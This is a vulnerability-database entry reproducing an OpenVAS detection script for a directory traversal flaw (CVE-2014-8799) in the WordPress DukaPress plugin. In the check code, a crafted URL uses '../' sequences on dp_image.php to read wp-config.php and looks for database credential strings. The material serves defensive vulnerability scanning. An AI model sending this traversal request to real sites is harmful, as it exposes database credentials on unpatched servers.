Lucene search

K
openvasCopyright (C) 2015 Greenbone AGOPENVAS:1361412562310805122
HistoryJan 09, 2015 - 12:00 a.m.

WordPress DukaPress 'src' Parameter Directory Traversal Vulnerability

2015-01-0900:00:00
Copyright (C) 2015 Greenbone AG
plugins.openvas.org
20

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

9.5 High

AI Score

Confidence

High

0.178 Low

EPSS

Percentile

96.2%

WordPress DukaPress is prone to a directory traversal vulnerability.

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.805122");
  script_version("2023-07-25T05:05:58+0000");
  script_cve_id("CVE-2014-8799");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2015-01-09 15:07:11 +0530 (Fri, 09 Jan 2015)");
  script_name("WordPress DukaPress 'src' Parameter Directory Traversal Vulnerability");

  script_tag(name:"summary", value:"WordPress DukaPress is prone to a directory traversal vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request
  and check whether it is able to read arbitrary files or not.");

  script_tag(name:"insight", value:"Flaw is due to the dp_img_resize function
  in the php/dp-functions.php script not properly sanitizing user input,
  specifically path traversal style attacks (e.g. '../') via the 'src'
  parameter that contains '..' to lib/dp_image.php.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to download arbitrary files.");

  script_tag(name:"affected", value:"WordPress DukaPress plugin before 2.5.4");

  script_tag(name:"solution", value:"Update to version 2.5.4 or later.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/98943");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/71294");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/35346");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_mandatory_keys("wordpress/http/detected");
  script_require_ports("Services/www", 80);
  script_xref(name:"URL", value:"https://wordpress.org/plugins/dukapress");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + '/wp-content/plugins/dukapress/lib/dp_image.php'
          + '?src=../../../../wp-config.php';

if(http_vuln_check(port:port, url:url, check_header:TRUE,
  pattern:"DB_NAME", extra_check:make_list("DB_USER", "DB_PASSWORD")))
{
  report = http_report_vuln_url( port:port, url:url );
  security_message(port:port, data:report);
  exit(0);
}

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

9.5 High

AI Score

Confidence

High

0.178 Low

EPSS

Percentile

96.2%